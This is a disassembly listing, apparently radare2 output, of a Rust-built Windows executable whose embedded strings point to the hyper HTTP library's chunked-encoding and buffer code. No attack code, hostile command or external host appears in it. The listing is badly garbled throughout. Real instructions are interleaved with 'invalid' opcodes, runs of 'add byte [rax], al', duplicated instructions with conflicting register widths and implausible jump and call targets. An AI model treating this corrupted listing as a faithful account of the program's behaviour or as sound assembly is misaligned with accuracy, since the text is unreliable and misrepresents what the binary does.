lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bufchain.rs
mov rdx, rax
call fcn.140104660
invalid
adc al, byte [rdi]
add byte [rax - 0x73], cl
or eax, 0xa8f20
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srccommon_buf.rs
mov bl, 0xa
add byte [rdx + 0x14], bh
add byte [rax], al
invalid
add byte [rax - 0x77], cl
ret 0x37e8
invalid
invalid
mov bl, 0xa
add byte [rdx + 0x14], bh
add byte [rax], al
invalid
add byte [rax], al
add al, ch
invalid
call fcn.140104a60
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bufchain.rs
call fcn.140104a40
lea r8, [0x14013e728]
mov edx, 0x12
mov rcx, r10
call fcn.1401046e0
lea r8, [0x14013e728]
mov rdx, r10
call fcn.1401048e0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1io.rs
mov edx, 0x40
add byte [rax], al
add byte [rax], al
mov rcx, r9
call fcn.1401046e0
pop rsp
adc al, byte [rdi]
invalid
pop rsp
adc al, byte [rdi]
add byte [rbp + rcx*4 + 5], cl
sbb eax, 0x48000a93
mov ecx, edi
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1io.rs
mov rcx, rdi
mov rdx, r13
call fcn.140104660
retf 0x711
invalid
retf 0x711
int3
int3
test ecx, ecx
jne 0x140093511
test rdx, rdx
je 0x14009350f
mov rbx, rdx
mov rdi, rcx
movzx eax, byte [0x14017d2b0]
mov edx, 0x38
xor ecx, ecx
add byte [rax], al
add byte [rcx], dh
leave
call fcn.1400e0010
add al, 0
test rax, rax
je 0x14009351f
mov rsi, rax
mov qword [rax], 0
add byte [rax], al
add byte [rax], al
add dh, al
sub dword [rdx], eax
add byte [rax], al
add byte [rax], al
add dh, al
sub dword [rdx], eax
mov byte [rax + 0x30], 9
xor byte [rcx], cl
movzx eax, byte [0x14017d2b0]
mov edx, 8
xor ecx, ecx
call fcn.1400e0010
add al, 0
add al, 0
test rax, rax
je 0x14009352e
mov qword [rax], rbx
mov dword [rax], ebx
mov qword [rsi], rax
lea rax, [0x140139b18]
mov qword [rsi + 8], rax
or byte [rax - 0x77], r9b
stc
or byte [rax - 0x77], r9b
stc
jmp 0x140093511
xor esi, esi
mov rax, rcx
mov rdx, rsi
add rsp, 0x20
invalid
and byte [rbx + 0x5f], bl
pop rsi
invalid
ret
mov ecx, 8
mov edx, 0x38
add al, ch
push rdx
invalid
invalid
invalid
add al, ch
push rdx
invalid
mov ecx, 8
mov edx, 8
or byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
call fcn.140104380
int3
add byte [rax - 0x73], cl
push rax
dec byte [rax - 0x7d]
cmp edx, 3
ja 0x140093561
cmp edx, 3
ja 0x140093561
cmp rdx, 1
jne 0x140093639
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
add byte [rax], 0
add byte [rax - 0x75], cl
mov rsi, qword [rcx + 0x98]
test rsi, rsi
je 0x140093622
test rax, rax
je 0x1400935ea
mov rsi, qword [rcx + 0x98]
mov esi, dword [rcx + 0x98]
test rsi, rsi
je 0x140093622
mov qword [rcx + 0x90], 5
movzx eax, byte [0x14017d2b0]
and al, 0x9d
invalid
add byte [rdx + 0x38], bh
xor ecx, ecx
add byte [rax], al
add byte [0x14f093586], al
add byte [rax], al
add eax, 0xf000000
mov dh, 5
and al, 0x9d
invalid
call fcn.1400e0010
js 0x140093560
add al, 0
test rax, rax
je 0x140093642
add byte [rax], al
invalid
ror byte [rdi], 0x84
movabs eax, dword [0xc748000000]
add byte [rax], al
add byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
add dh, al
sub dword [rdx], eax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov rdi, rax
mov word [rax + 0x30], 0x101
xor byte [rcx], al
add dword [rdi], ecx
mov dh, 5
hlt
pushfq
invalid
add byte [rdx + 8], bh
add byte [rax], al
add byte [rcx], dh
leave
call fcn.1400e0010
xor byte [rcx], al
add dword [rdi], ecx
mov dh, 5
hlt
pushfq
invalid
test rax, rax
je 0x140093651
mov rcx, rax
mov ecx, eax
mov qword [rax], rsi
mov rax, rdi
mov qword [rdi], rcx
lea rcx, [0x14013a0b8]
mov qword [rdi + 8], rcx
jmp case.0x14001a36d.2430
mov qword [rsp + 0x28], 3
lea rax, str.0_r_n_r_nunexpected_EOF_during_chunk_size_lineInvalid_chunk_size_line:_missing_size_digitinvalid_chunk_size:_overflowInvalid_chunk_end_LFInvalid_chunk_body_CRInvalid_chunk_body_LF__Invalid_chunk_size_LFInvalid_chunk_size_linear_white_spaceinvalid_chunk_extension_contains_newlinechunk_extensions_over_limitInvalid_trailer_end_LFInvalid_chunk_size_line:_Invalid_SizeC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1encode.rs_r_n0_r_n_r_n_r_nconnection_error
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 5
lea rax, [rcx + 0xd8]
fadd dword [rax]
add byte [rax], al
fadd dword [rax]
add byte [rax], al
lea rdx, [rsp + 0x28]
mov rsi, rcx
mov rcx, rax
call fcn.140093670
mov rcx, rsi
cmp byte [rcx + 0xa0], 1
mov eax, 5
sbb rax, 0
mov qword [rcx + 0x90], rax
xor eax, eax
add rsp, 0x78
pop rdi
js 0x14009369f
pop rsi
ret
mov ecx, 8
mov edx, 0x38
add al, ch
invalid
invalid
invalid
invalid
add al, ch
invalid
mov ecx, 8
add byte [rax], al
add byte [rdx + 8], bh
add byte [rax], al
mov edx, 8
call fcn.140104380
int3
int3
push r14
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x70
mov rdi, rdx
mov rsi, rcx
cmp byte [rcx + 0x48], 0
je 0x140093741
movups xmm0, xmmword [rdi + 0x40]
movaps xmmword [rsp + 0x60], xmm0
and al, 0x60
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
adc byte [rdi + 0x20], dl
movups xmm3, xmmword [rdi + 0x30]
movaps xmmword [rsp + 0x50], xmm3
movaps xmmword [rsp + 0x40], xmm2
movaps xmmword [rsp + 0x30], xmm1
sub dword [rsp + 0x30], ecx
sub dword [rsp + 0x30], ecx
movaps xmmword [rsp + 0x20], xmm0
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x38]
cmp rax, rcx
jne 0x1400936d9
lea rcx, [rsi + 0x20]
call fcn.140093b00
invalid
add byte [rax - 0x75], cl
and byte [rax - 0x75], r9b
cmp byte [rax - 0x75], r9b
push rsi
xor byte [rax + 1], cl
ret 0x3145
invalid
invalid
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x38]
mov rdx, qword [rsi + 0x30]
add rdx, rax
xor r8d, r8d
cmp rdx, rcx
ror byte [rax + 0x39], 0xca
cmovae r8, rcx
sub rdx, r8
mov rcx, qword [rsi + 0x28]
lea rdx, [rdx + rdx*4]
shl rdx, 4
movaps xmm0, xmmword [rsp + 0x60]
movups xmmword [rcx + rdx + 0x40], xmm0
adc dword [rax + 0xf], eax
sub byte [rsp + 0x20], al
adc dword [rax + 0xf], eax
sub byte [rsp + 0x20], al
movaps xmm1, xmmword [rsp + 0x30]
movaps xmm2, xmmword [rsp + 0x40]
and al, 0x40
and al, 0x40
movaps xmm3, xmmword [rsp + 0x50]
sub byte [rsp + 0x50], bl
pop rsp
and al, 0x50
movups xmmword [rcx + rdx + 0x30], xmm3
movups xmmword [rcx + rdx + 0x20], xmm2
movups xmmword [rcx + rdx + 0x10], xmm1
adc dword [rax], edx
adc dword [rax], edx
movups xmmword [rcx + rdx], xmm0
inc rax
mov qword [rsi + 0x38], rax
add rsp, 0x70
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r14, qword [rdi]
lea rax, [0x140174908]
lea eax, [0x140174908]
movsxd rcx, dword [rax + r14*4]
add rcx, rax
jmp rcx
mov rcx, qword [rdi + 0x18]
mov ecx, dword [rdi + 0x18]
sbb byte [r8 - 0x75], r9b
push rsi
sbb byte [rax - 0x7b], cl
sal byte [rbp + 0x4b], cl
mov rdx, qword [rsi + 0x18]
test rdx, rdx
jne 0x1400937ac
jmp 0x1400937e8
add byte [rax], al
movzx eax, byte [rdi + 0x3b]
sub al, byte [rdi + 0x3a]
cmp cl, byte [rdi]
mov dh, 0xc8
cmp cl, byte [rdi]
mov dh, 0xc8
add rcx, qword [rdi + 0x18]
jb case.0x140092aab.18
invalid
xchg esp, eax
add byte [rax], al
invalid
invalid
add rcx, qword [rdi + 0x48]
jae 0x140093789
jmp case.0x140092aab.18
add byte [rax - 0x75], cl
adc byte [r8 - 0x75], r9b
mov edx, dword [rsi + 0x18]
test rdx, rdx
jne 0x1400937ac
mov ecx, dword [rdi + 0x10]
mov rdx, qword [rsi + 0x18]
mov edx, dword [rsi + 0x18]
test rdx, rdx
jne 0x1400937ac
jmp 0x1400937e8
cmp rax, rcx
cmovb rcx, rax
mov rdx, qword [rsi + 0x18]
test rdx, rdx
je 0x1400937e8
mov r8, qword [rsi]
mov rax, qword [rsi + 0x10]
sub r8, rax
cmp r8, rcx
jae 0x1400937e8
invalid
sub eax, 0x48c38948
sub ebx, edx
mov rbx, rax
sub rbx, rdx
jb 0x1400937fc
mov qword [rsi + 0x10], 0
je case.0x140093752.21
add byte [rbx + rdx + 0x48], dh
mov ecx, dword [rsi + 8]
mov rcx, qword [rsi + 8]
add rdx, rcx
mov r8, rbx
call sub.VCRUNTIME140.dll_memmove
invalid
add byte [rax - 0x77], cl
pop rsi
invalid
invalid
mov qword [rsi + 0x18], 0
lea r15, [rdi + 0x28]
lea r12, [0x140174918]
adc dword [rsi], ecx
add byte [rbx + 0x63], cl
add al, 0xb4
adc dword [rsi], ecx
add byte [rbx + 0x63], cl
add al, 0xb4
add rax, r12
jmp rax
lea r8, str._rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_alloc_src_vecmod.rs
add eax, 0xb1f55
mov rcx, rdx
mov rdx, rax
call fcn.1401046e0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bufchain.rs
or eax, 0xab063
call fcn.140104a40
mov rdx, qword [rdi + 0x10]
mov r8, qword [rdi + 0x18]
mov rbx, r8
test rbx, rbx
jne 0x140093900
add byte [rax], al
invalid
add byte [rax], al
add bl, ch
jmp 0x1400938a4
invalid
jmp 0x1400938a4
mov rdx, qword [rdi + 0x10]
mov r8, qword [rdi + 0x18]
mov rbx, qword [rdi + 0x28]
cmp r8, rbx
cmovb rbx, r8
test rbx, rbx
jne 0x140093900
jmp 0x1400938a4
movzx ecx, byte [rdi + 0x3a]
movzx eax, byte [rdi + 0x3b]
mov edx, eax
sub dl, cl
retf 0xb60f
invalid
retf 0xb60f
mov dh, 0xd2
mov r8, qword [rdi + 0x18]
add rdx, r8
jb case.0x140092aab.18
je 0x14009387e
cmp al, cl
jne 0x14009388d
mov rdx, qword [rdi + 0x10]
mov rbx, r8
test rbx, rbx
jne 0x140093900
add byte [rax], al
add byte [rax], al
jmp 0x1400938a4
mov rdx, qword [rdi + 0x40]
mov rbx, qword [rdi + 0x48]
test rbx, rbx
jne 0x140093900
jmp 0x1400938a4
movzx edx, cl
movzx ebx, al
jb 0x1400938dd
cmp al, 0x12
ja 0x1400938c9
sub rbx, rdx
sub ebx, edx
add rdx, r15
test rbx, rbx
jne 0x140093900
mov rax, qword [rdi + 8]
mov rdx, qword [rdi + 0x10]
mov rax, qword [rax + 0x10]
adc byte [rax - 0x7d], cl
invalid
and byte [rax - 0x77], cl
stc
add rsp, 0x70
adc byte [rax - 0x7d], cl
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp rax
lea r8, [0x14013e728]
mov edx, 0x12
add byte [rdx + 0x12], bh
mov rcx, rbx
call fcn.1401046e0
lea r8, [0x14013e728]
mov rcx, rdx
mov rdx, rbx
call fcn.1401048e0
mov rbx, qword [rdi + 0x10]
test rbx, rbx
je 0x140093731
mov rdx, qword [rdi + 8]
mov rax, qword [rsi]
mov r14, qword [rsi + 0x10]
sub rax, r14
cmp rax, rbx
jb 0x14009393c
mov rcx, qword [rsi + 8]
add rcx, r14
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
add r14, rbx
mov qword [rsi + 0x10], r14
mov rcx, rdi
mov rdx, rbx
call fcn.140095bf0
mov rax, qword [rdi]
movsxd rax, dword [r12 + rax*4]
add rax, r12
jmp rax
mov rcx, rsi
mov r13, rdx
mov rdx, r14
mov r8, rbx
call fcn.140104c70
mov rdx, r13
mov r14, qword [rsi + 0x10]
jmp 0x14009390f
add byte [rax], al
lea r8, [rsp + 0x40]
mov rdx, r14
call fcn.14003a150
cmp byte [rsp + 0xd0], 2
je 0x140094030
lea rcx, [rsp + 0xc8]
mov rax, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0xb8]
mov r8, qword [rsp + 0xc0]
call qword [rax + 0x10]
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], 0
mov byte [rsp + 0x50], 0
mov r9, qword [rsp + 0x28]
jmp 0x1400949bb
mov qword [rsp + 0xd0], rsi
mov qword [rsp + 0xd8], r13
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0xc0], rcx
mov qword [rsp + 0xc8], rax
lea rcx, [rsp + 0xb0]
call fcn.14003b210
cli
inc dword [rax + rax*8 + 0x78d850f]
add byte [rax], al
cli
inc dword [rax + rax*8 + 0x78d850f]
add byte [rax], al
mov rdx, qword [rsi + 0x28]
cmp rdx, r13
jbe 0x1400958fc
invalid
mov rax, qword [rsi + 0x20]
mov rcx, qword [rax + rdi]
and byte [rax - 0x75], cl
or al, 0x38
test rcx, rcx
je 0x1400943f7
cmp rcx, 1
jne 0x14009443b
mov rcx, qword [rax + rdi + 0x10]
mov rdx, qword [rsi + 0x40]
cmp rcx, rdx
jae case.0x140066038.202
mov rax, qword [rsi + 0x38]
lea rcx, [rcx + rcx*8]
lea r12, [rax + rcx*8]
add r12, 0x20
jmp 0x1400943ff
add byte [rax], al
add dh, byte [rbx + riz + 0x48]
lea ecx, [rsp + 0xc8]
mov rax, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0xb8]
mov r8, qword [rsp + 0xc0]
call qword [rax + 0x10]
and al, 0xb0
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xb8
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xc0
add byte [rax], al
add bh, bh
push rax
adc byte [rbx + rcx*4 + 0x4c], cl
and al, 0x28
mov r9, qword [rsp + 0x28]
cmp r14, 1
jne 0x140094277
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], rdi
jmp 0x140094292
test r12, r12
je 0x14009439a
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], 0
mov byte [rsp + 0x50], 0
jmp 0x1400949bb
lea rcx, [rsp + 0x40]
mov rdx, qword [rsp + 0x38]
jmp 0x1400943e5
mov r8, r15
call fcn.14003b660
mov r9, qword [rsp + 0x28]
jmp 0x1400949bb
lea r12, [rax + rdi]
add r12, 0x18
mov rsi, qword [r12 + 0x10]
add rsi, 9
je 0x1400944dd
js 0x140095a42
movzx eax, byte [0x14017d2b0]
xor ecx, ecx
mov rdx, rsi
call fcn.1400e0010
test rax, rax
je 0x140095a7d
mov rcx, rax
mov rdi, qword [r12 + 0x10]
jmp 0x1400944e9
add rax, rdi
mov rdx, qword [rax + 8]
mov rcx, rsi
call fcn.140039cd0
mov rdx, qword [rsi + 0x28]
cmp rdx, r13
jbe 0x140095917
mov rax, qword [rsi + 0x20]
mov rcx, qword [rax + rdi + 0x38]
mov qword [rsp + 0xd0], rcx
movdqu xmm0, xmmword [rax + rdi + 0x18]
movdqu xmm1, xmmword [rax + rdi + 0x28]
movdqa xmmword [rsp + 0xc0], xmm1
movdqa xmmword [rsp + 0xb0], xmm0
lea rcx, [0x140127c68]
mov qword [rax + rdi + 0x18], rcx
lea rcx, str.chunkedoriginal_header_value_plus_ascii_is_validC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcheaders.rs
mov qword [rax + rdi + 0x20], rcx
mov qword [rax + rdi + 0x28], 7
mov qword [rax + rdi + 0x30], 0
mov byte [rax + rdi + 0x38], 0
lea rcx, [rsp + 0xc8]
mov rax, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0xb8]
mov r8, qword [rsp + 0xc0]
call qword [rax + 0x10]
jmp 0x14009490f
mov ecx, 1
mov rdi, 0xfffffffffffffff7
mov r8, rsi
shr r8, 0xa
mov eax, 0x40
mov edx, 0x40
je 0x140094504
bsr rdx, r8
xor rdx, 0x3f
sub rax, rdx
cmp rax, 7
mov edx, 7
cmovb rdx, rax
mov eax, edx
lea rax, [rax*4 + 1]
mov qword [rsp + 0x80], rcx
mov qword [rsp + 0x88], 0
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0x98], rax
mov r15, qword [r12 + 8]
cmp rsi, rdi
jae 0x14009456e
lea rcx, [rsp + 0x80]
mov rdx, rdi
call fcn.1400126a0
mov rcx, qword [rsp + 0x80]
mov rax, qword [rsp + 0x88]
jmp 0x140094570
xor eax, eax
add rcx, rax
lea rsi, [rsp + 0x90]
mov rdx, r15
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
add rdi, qword [rsp + 0x88]
mov qword [rsp + 0x110], rdi
mov rax, qword [rsp + 0x90]
sub rax, rdi
jb 0x1400959bc
mov qword [rsp + 0x88], rdi
cmp rax, 1
ja 0x1400945cf
lea rcx, [rsp + 0x80]
mov edx, 2
call fcn.1400126a0
mov rdi, qword [rsp + 0x88]
mov rax, qword [rsp + 0x80]
mov word [rax + rdi], 0x202c
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x90]
add rax, 2
mov qword [rsp + 0x110], rax
sub rcx, rax
jb 0x1400959bc
mov qword [rsp + 0x88], rax
cmp rcx, 6
ja 0x14009462a
lea rcx, [rsp + 0x80]
mov edx, 7
call fcn.1400126a0
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x80]
mov dword [rcx + rax + 3], 0x64656b6e
mov dword [rcx + rax], 0x6e756863
mov r8, qword [rsp + 0x88]
mov r13, qword [rsp + 0x90]
add r8, 7
mov qword [rsp + 0x110], r8
mov dword [rsp + 0x110], eax
cmp r8, r13
ja 0x1400959bc
mov qword [rsp + 0x88], r8
mov rdi, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x98]
test sil, 1
mov byte [rcx], 0x75
invalid
mov byte [rcx], 0x75
or al, 0x4c
lea ecx, [0x14014bbf0]
lea r9, [0x14014bbf0]
jmp case.0x14006a01c.168
add dword [eax], eax
add byte [rax - 0x3f], cl
out dx, al
add eax, 0x4ef72948
sub rdi, rsi
lea r15, [rsi + r8]
shr rsi, 5
sub rdi, rsi
lea r15, [rsi + r8]
cmp r8, r13
jne 0x1400946c6
call 0xc5566d17
dec dword [rdi]
test byte [0x1800946ab], dl
add byte [rax - 0xa], al
invalid
invalid
test r15, r15
je 0x1400947be
invalid
add byte [rax - 0xa], al
mov dword [rcx], 0x120850f
test dil, 1
jne 0x1400947d3
add byte [rax], al
mov rax, rdi
mov eax, edi
or rax, 1
lea r9, [0x140126040]
or eax, 0x9197f
enter 0x4c01, 0xffffffffffffff8d
add dword [rbp + rcx*4 + 0xd], ecx
jg case.0x14005101a.236
or eax, 0x9197f
or dword [rax], eax
jmp 0x1400947dd
add byte [rdi], cl
mov dh, 5
jrcxz 0x140094656
invalid
movzx eax, byte [0x14017d2b0]
mov edx, 0x18
add byte [rax], al
mov ecx, dword [rsi]
add byte [rdx + 0x18], bh
add byte [rax], al
invalid
add byte [rax], al
xor ecx, ecx
call fcn.1400e0010
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
sub dl, byte [rax + rax]
invalid
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
sub dl, byte [rax + rax]
add byte [rcx + 1], cl
add r13, rsi
cmc
mov qword [rax], rdi
mov qword [rax + 8], r13
mov qword [rax + 0x10], 1
adc byte [rcx], al
add byte [rax], al
add byte [rax], al
invalid
invalid
invalid
invalid
add byte [rax], al
lea r9, [0x140110b88]
lea ecx, [0x140110b88]
jmp 0x1400947dd
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0x70]
mov rax, qword [rsp + 0x70]
and al, 0x70
mov qword [rsp + 0xe0], rax
mov dword [rsp + 0xe0], eax
and al, 0xe0
add byte [rax], al
add bl, dh
movq mm0, qword [rsp + 0x40]
and al, 0x40
loopne 0x14009470b
add byte [rax], al
movdqu xmm0, xmmword [rsp + 0x40]
and al, 0x40
movdqu xmm1, xmmword [rsp + 0x50]
movq mm1, qword [rsp + 0x50]
and al, 0x50
movdqu xmm2, xmmword [rsp + 0x60]
movq mm2, qword [rsp + 0x60]
outsd dx, dword [rsi]
push rsp
and al, 0x60
movdqa xmmword [rsp + 0xd0], xmm2
movq qword [rsp + 0xd0], mm2
add byte [rax], al
add byte [rsi + 0xf], ah
jg 0x1400946b8
movdqa xmmword [rsp + 0xc0], xmm1
and al, 0xc0
add byte [rax], al
add byte [rsi + 0xf], ah
jg 0x1400946b9
add byte [rax], al
movdqa xmmword [rsp + 0xb0], xmm0
lea rax, [0x140127c68]
invalid
invalid
or dword [rax], eax
and al, 0xb0
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x93527
invalid
invalid
or dword [rax], eax
invalid
mov qword [rsp + 0x80], rax
lea rax, str.chunkedoriginal_header_value_plus_ascii_is_validC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcheaders.rs
test byte [rax + rax*4], ah
and al, 0x80
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x93fc8
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 7
nop
add byte [rax], al
add byte [rdi], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbx*4], ah
cwde
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*4], ah
nop
nop
add byte [rax], al
add byte [rdi], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbx*4], ah
cwde
invalid
cwde
add byte [rax], al
add byte [rax], al
add byte [rax], al
add dh, al
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0xa0], 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x73], cl
mov word [rax + rsi*4], fs
add byte [rax], al
add byte [rax - 0x73], cl
invalid
xchg esp, eax
and al, 0x80
lea rcx, [rsp + 0xb0]
lea rdx, [rsp + 0x80]
lea edx, [rsp + 0x80]
lea edx, [rsp + 0x80]
add byte [rax], al
add al, ch
invalid
ret
call fcn.14005cc50
test rax, rax
test eax, eax
test eax, eax
ror byte [rdi], 0x84
test dword [rbx], edx
je 0x140095b1b
add byte [rax], al
xor eax, eax
mov r9, qword [rsp + 0x28]
mov ecx, dword [rsp + 0x159]
add byte [rbx + 0x15c2494], cl
add byte [rax], al
mov edx, dword [rsp + 0x15c]
xchg esp, eax
and al, 0x5c
add dword [rax], eax
add byte [rcx + 0x832494], cl
add byte [rax], al
mov dword [rsp + 0x83], edx
mov dword [rsp + 0x80], ecx
jmp 0x140094996
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbp + rcx*4 + 0xd], cl
invalid
rol edx, cl
invalid
lea r9, [0x140110a98]
or eax, 0x7c2d3
add byte [rax - 0x73], cl
cmp eax, 0xdaf9c
scasd eax, dword [rdi]
invalid
invalid
lea rdi, [0x14016f768]
scasd eax, dword [rdi]
or eax, 0x45c03100
xor edi, edi
xor eax, eax
xor r15d, r15d
jmp 0x1400947dd
or cl, byte [rbp + rcx*4 + 0xd]
jle 0x1400947f0
invalid
lea r9, [0x140126058]
sbb byte [rcx], cl
add byte [rax - 0x77], cl
clc
or dword [rax], eax
mov rax, rdi
mov qword [rsp + 0x140], rsi
and al, 0x40
add dword [rax], eax
add byte [rbp - 0x77], cl
mov r8, r15
mov r8, r15
sub r8, rsi
sub eax, esi
jb 0x140095a8a
adc al, byte [rax]
add byte [rax + 1], cl
test dword [rax - 0x77], 0x8c894cc6
mov qword [rsp + 0xb0], r9
mov qword [rsp + 0xb8], rdi
mov eax, 0x4c000000
invalid
test byte [rax + rax*8], ah
add byte [rax], al
add rdi, rsi
mov rsi, rax
mov qword [rsp + 0xb0], r9
mov qword [rsp + 0xb8], rdi
invalid
add byte [rax], al
add byte [rax], al
mov eax, 0x4c000000
mov dword [rsp + 0xc0], eax
invalid
add byte [rax], al
mov qword [rsp + 0xc0], r8
add byte [rax - 0x77], cl
mov ah, 0x24
enter 0, 0
mov qword [rsp + 0xc8], rsi
test r8, r8
je 0x14009487b
lea rcx, [rsp + 0xc8]
xor eax, eax
jmp 0x14009483d
add byte [rcx], dh
shr bl, 0x15
nop dword [rax + rax]
cmp dl, 0x7f
je 0x14009484b
invalid
invalid
inc rax
cmp r8, rax
je 0x14009487b
movzx edx, byte [rdi + rax]
cmp dl, 0x1f
ja 0x140094830
invalid
invalid
cmp dl, 9
je 0x140094835
mov rdx, rdi
call qword [r9 + 0x10]
lea rax, [0x1401287a8]
add byte [rax - 0x77], cl
and al, 0x20
lea rcx, [0x14012871f]
add byte [rbp + rcx*4 + 0xd], cl
pushfq
sub eax, 0x8d4c0009
and al, 0x37
add byte [rbp + rcx*4 + 0xd], cl
pushfq
sub eax, 0x8d4c0009
and al, 0x37
mov edx, 0x29
sub dword [rax], eax
add byte [rax], al
call fcn.1401049b0
movups xmm0, xmmword [rsp + 0xb0]
movups xmm1, xmmword [rsp + 0xc0]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0xc0], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0xb0], xmm0
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xc0], ecx
add byte [rdi], cl
sub dword [rsp + 0xc0], ecx
mov eax, dword [rsp + 0x110]
add byte [rax], al
mov ecx, dword [rsp + 0x113]
mov dword [rsp + 0x140], eax
mov dword [rsp + 0x143], ecx
add byte [rcx - 0x73], cl
and al, 0x18
mov rax, qword [r12]
add al, 0x24
add al, 0x24
mov rdx, qword [r12 + 8]
mov r8, qword [r12 + 0x10]
call qword [rax + 0x10]
movdqa xmm0, xmmword [rsp + 0xb0]
movdqa xmm1, xmmword [rsp + 0xc0]
movdqu xmmword [r12 + 0x10], xmm1
jg 0x140094935
and al, 0x10
movdqu xmmword [r12], xmm0
mov byte [r12 + 0x20], 0
mov eax, dword [rsp + 0x140]
mov ecx, dword [rsp + 0x143]
mov dword [r12 + 0x21], eax
mov dword [r12 + 0x24], ecx
mov eax, dword [rsp + 0x159]
add byte [rax], al
mov ecx, dword [rsp + 0x15c]
mov dword [rsp + 0x83], ecx
mov dword [rsp + 0x80], eax
cmp r14, 1
jne 0x14009498f
movups xmm0, xmmword [0x14013fc30]
movaps xmmword [rsp + 0x50], xmm0
movdqu xmm0, xmmword [0x14013fc20]
add eax, 0xab2db
add eax, 0xab2db
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xb0]
lea ecx, [rsp + 0xb0]
lea ecx, [rsp + 0xb0]
lea r8, [rsp + 0x40]
mov rdx, qword [rsp + 0x38]
call fcn.14003a150
cmp byte [rsp + 0xd0], 2
je 0x14009498f
lea rcx, [rsp + 0xc8]
enter 0, 0
mov rax, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0xb8]
mov r8, qword [rsp + 0xc0]
add byte [rax], al
add byte [rax], al
call qword [rax + 0x10]
push rax
adc byte [rcx], dh
ror byte [rbx + rcx*4 + 0x4c], 0x24
sub byte [rax - 0x77], cl
xor eax, eax
mov r9, qword [rsp + 0x28]
mov qword [rsp + 0x40], rax
and al, 0x40
mov qword [rsp + 0x48], rdi
mov byte [rsp + 0x50], 0
and al, 0x50
add byte [rbx + 0x802484], cl
add byte [rax], al
and al, 0x50
add byte [rbx + 0x802484], cl
add byte [rax], al
mov ecx, dword [rsp + 0x83]
mov dword [rsp + 0x51], eax
and al, 0x51
add dword [rax], 0
add byte [rcx - 0x76aedbbc], cl
and al, 0x51
mov dword [rsp + 0x54], ecx
and al, 0x51
mov dword [rsp + 0x54], ecx
push rsp
lea r14, [r9 + 0xd8]
mov cl, 0xd8
add byte [rax], al
add byte [rax], al
invalid
invalid
add byte [rax], al
mov rsi, qword [rsp + 0x38]
mov r8, qword [rsi + 0x40]
mov eax, dword [rsi + 0x40]
je 0x1400949ea
cmp byte [rbx + rcx*4 + 0x46], cl
add r8, qword [rsi + 0x28]
mov eax, dword [rsi + 0x40]
add r8, qword [rsi + 0x28]
lea rax, [r8 + r8]
lea eax, [rax + rax]
add al, 0
shl r8, 5
sub r8, rax
add r8, 0x1e
add eax, 0x1e
add eax, 0x1e
mov rax, qword [r9 + 0xd8]
mov eax, dword [rcx + 0xd8]
fadd dword [rax]
add byte [rax], al
invalid
add byte [rcx - 0x75], cl
xchg ecx, eax
call 0x1880949ed
